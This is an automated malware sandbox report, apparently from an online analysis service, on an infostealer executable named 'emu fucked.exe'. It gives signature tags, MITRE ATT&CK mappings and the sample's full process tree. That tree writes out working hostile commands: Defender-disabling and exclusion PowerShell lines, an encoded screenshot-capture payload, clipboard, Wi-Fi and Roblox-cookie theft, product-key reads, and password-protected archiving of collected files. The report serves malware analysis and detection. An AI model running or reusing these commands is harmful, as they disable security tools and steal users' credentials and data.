Overview

overview

10

Static

static

10

emu fucked.exe

windows10-2004-x64

8

emu fucked.exe

windows11-ltsc_2024-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    10s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    25/09/2026, 18:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emu fucked.exe
  • Size 10.4MB
  • Sample260925-w8a55agg85
  • SHA256 b5fa107e0f85a3a7653dfefb730d558fb88a4c3740b8790ee73dc93ec22150b2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
collectioncredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Loads dropped DLL 19 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Discovers running processes 1 TTPs 3 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

    discovery
  • UPX packed file 56 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 25 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\emu fucked.exe
    "C:\Users\Admin\AppData\Local\Temp\emu fucked.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Users\Admin\AppData\Local\Temp\emu fucked.exe
      "C:\Users\Admin\AppData\Local\Temp\emu fucked.exe"
      2⤵
      • Loads dropped DLL
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emu fucked.exe'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\emu fucked.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4476
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2428
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ ‌‏.scr'"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ ‌‏.scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5024
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5144
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:5504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1620
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:1768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:1504
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Enumerates connected drives
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5248
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1880
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:2352
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1904
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:2968
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
          3⤵
          • Executes a command shell one-liner
          • System Network Configuration Discovery: Wi-Fi Discovery
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Windows\system32\netsh.exe
            netsh wlan show profile
            4⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:3484
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5620
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:5952
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:860
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Enumerates connected drives
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5268
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4hwr2j2h\4hwr2j2h.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3288
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES31B5.tmp" "c:\Users\Admin\AppData\Local\Temp\4hwr2j2h\CSC4451D1DDDB184F308F3C429CC5C99F79.TMP"
                6⤵
                  PID:5656
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2188
            • C:\Windows\system32\tree.com
              tree /A /F
              4⤵
                PID:5200
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4692
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:396
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:6064
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:3852
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5184
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4920
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2416
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:5256
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "getmac"
                      3⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:1184
                      • C:\Windows\system32\getmac.exe
                        getmac
                        4⤵
                          PID:5732
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        3⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5036
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                          4⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1952
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                        3⤵
                        • Executes a command shell one-liner
                        PID:6020
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                          4⤵
                            PID:4568
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000005042\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\nUHmM.zip" *"
                          3⤵
                          • Executes a command shell one-liner
                          PID:3376
                          • C:\Users\Admin\AppData\Local\Temp\_MEI000005042\rar.exe
                            C:\Users\Admin\AppData\Local\Temp\_MEI000005042\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\nUHmM.zip" *
                            4⤵
                              PID:5088
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                            3⤵
                            • Executes a command shell one-liner
                            PID:5044
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic os get Caption
                              4⤵
                                PID:3888
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                              3⤵
                              • Executes a command shell one-liner
                              PID:5248
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic computersystem get totalphysicalmemory
                                4⤵
                                  PID:4132
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                3⤵
                                • Executes a command shell one-liner
                                PID:1308
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic csproduct get uuid
                                  4⤵
                                    PID:5656
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:3848
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                    4⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    PID:4388
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:5064
                                  • C:\Windows\System32\Wbem\WMIC.exe
                                    wmic path win32_VideoController get name
                                    4⤵
                                    • Detects videocard installed
                                    PID:5096
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                  3⤵
                                  • Executes a command shell one-liner
                                  PID:2988
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                    4⤵
                                      PID:1160

                              Network

                                    MITRE ATT&CK Enterprise v16

                                    Reconnaissance

                                    Resource Development

                                    Initial Access

                                    Execution

                                    Command and Scripting Interpreter

                                    2
                                    T1059

                                    PowerShell

                                    1
                                    T1059.001

                                    Windows Command Shell

                                    1
                                    T1059.003

                                    Persistence

                                    Event Triggered Execution

                                    1
                                    T1546

                                    Netsh Helper DLL

                                    1
                                    T1546.007

                                    Privilege Escalation

                                    Event Triggered Execution

                                    1
                                    T1546

                                    Netsh Helper DLL

                                    1
                                    T1546.007

                                    Defense Evasion

                                    Impair Defenses

                                    1
